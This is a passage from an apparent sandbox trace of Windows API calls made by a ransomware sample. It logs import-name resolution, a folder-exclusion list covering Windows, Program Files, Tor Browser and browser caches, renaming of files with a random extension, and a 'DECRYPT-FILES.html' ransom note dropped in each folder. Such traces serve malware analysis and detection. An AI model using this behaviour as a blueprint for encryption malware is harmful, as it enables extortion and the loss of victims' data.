(lpString="CONTINUEDEBUGEVENT") returned 18 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0125.737] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0125.737] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0125.737] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0125.737] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0125.737] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0125.737] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0125.737] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0125.737] lstrlenA (lpString="COPYCONTEXT") returned 11 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0125.737] lstrlenA (lpString="COPYFILE2") returned 9 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0125.737] lstrlenA (lpString="COPYFILEA") returned 9 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0125.737] lstrlenA (lpString="COPYFILEEXA") returned 11 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0125.737] lstrlenA (lpString="COPYFILEEXW") returned 11 [0125.737] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0125.738] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0125.738] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0125.738] lstrlenA (lpString="COPYFILEW") returned 9 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0125.738] lstrlenA (lpString="COPYLZFILE") returned 10 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0125.738] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0125.738] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0125.738] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0125.738] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0125.738] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0125.738] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0125.738] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0125.738] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0125.738] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0125.738] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0125.738] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0125.738] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0125.738] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0125.738] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0125.738] lstrlenA (lpString="CREATEEVENTA") returned 12 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0125.739] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0125.739] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0125.739] lstrlenA (lpString="CREATEEVENTW") returned 12 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0125.739] lstrlenA (lpString="CREATEFIBER") returned 11 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0125.739] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0125.739] lstrlenA (lpString="CREATEFILE2") returned 11 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0125.739] lstrlenA (lpString="CREATEFILEA") returned 11 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0125.739] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0125.739] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0125.739] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0125.739] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0125.739] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0125.739] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0125.739] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0125.739] lstrlenA (lpString="CREATEFILEW") returned 11 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0125.739] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0125.739] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0125.740] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0125.740] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0125.740] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0125.740] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0125.740] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0125.740] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0125.740] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0125.740] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0125.740] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0125.740] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0125.740] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0125.740] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0125.740] lstrlenA (lpString="CREATEJOBSET") returned 12 [0125.740] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0125.740] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0125.740] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0125.740] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0125.740] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0125.740] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0125.740] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0125.740] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0125.740] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0125.740] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0125.740] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0125.740] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0125.740] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0125.740] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0125.740] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0125.740] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0125.740] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0125.740] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0125.741] lstrlenA (lpString="CREATEPIPE") returned 10 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0125.741] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0125.741] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0125.741] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0125.741] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0125.741] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0125.741] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0125.741] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0125.741] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0125.741] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0125.741] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0125.741] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0125.741] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0125.741] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0125.741] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0125.741] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0125.741] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0125.742] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0125.742] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0125.742] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0125.742] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0125.742] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0125.742] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0125.742] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0125.742] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0125.742] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0125.742] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0125.742] lstrlenA (lpString="CREATETHREAD") returned 12 [0125.742] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0125.742] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0125.742] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0125.742] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0125.742] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0125.742] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0125.742] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0125.742] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0125.742] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0125.742] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0125.742] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0125.742] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0125.742] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0125.742] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0125.742] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0125.743] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.whrPE5w") returned 53 [0125.743] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.whrPE5w" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.whrpe5w"), dwFlags=0x0) returned 1 [0125.744] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.747] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.748] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.748] FindNextFileW (in: hFindFile=0x3b81300, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0125.748] FindClose (in: hFindFile=0x3b81300 | out: hFindFile=0x3b81300) returned 1 [0125.748] CloseHandle (hObject=0x528) returned 1 [0125.749] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1 [0125.749] lstrcmpW (lpString1="1040", lpString2=".") returned 1 [0125.749] lstrcmpW (lpString1="1040", lpString2="..") returned 1 [0125.749] lstrcatW (in: lpString1="1040", lpString2="\\" | out: lpString1="1040\\") returned="1040\\" [0125.749] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1040\\" | out: lpString1="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\" [0125.749] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1040\\", lpSrch=":\\Windows") returned 0x0 [0125.749] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1040\\", lpSrch="\\Program Files") returned 0x0 [0125.749] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1040\\", lpSrch="\\Games\\") returned 0x0 [0125.749] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1040\\", lpSrch="\\Tor Browser\\") returned 0x0 [0125.749] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1040\\", lpSrch="\\ProgramData\\") returned 0x0 [0125.749] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1040\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0125.749] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1040\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0125.749] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1040\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0125.749] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1040\\", lpSrch="\\All Users") returned 0x0 [0125.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\") returned 27 [0125.749] lstrlenW (lpString="eogwkz.dat") returned 10 [0125.749] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1040\\\\eogwkz.dat") returned 38 [0125.749] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1040\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0125.781] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\") returned 27 [0125.781] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0125.781] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1040\\\\DECRYPT-FILES.html") returned 46 [0125.781] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1040\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0125.925] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0125.926] CloseHandle (hObject=0x470) returned 1 [0125.926] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\") returned 27 [0125.926] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1040\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1040\\*") returned="C:\\588bce7c90097ed212\\1040\\*" [0125.926] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x514f072f, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b81200 [0125.926] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0125.926] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x514f072f, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0125.926] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0125.926] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0125.926] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51398714, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x51398714, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x514f072f, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0125.926] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0125.926] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51398714, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x51398714, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x51398714, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0125.926] lstrcmpiW 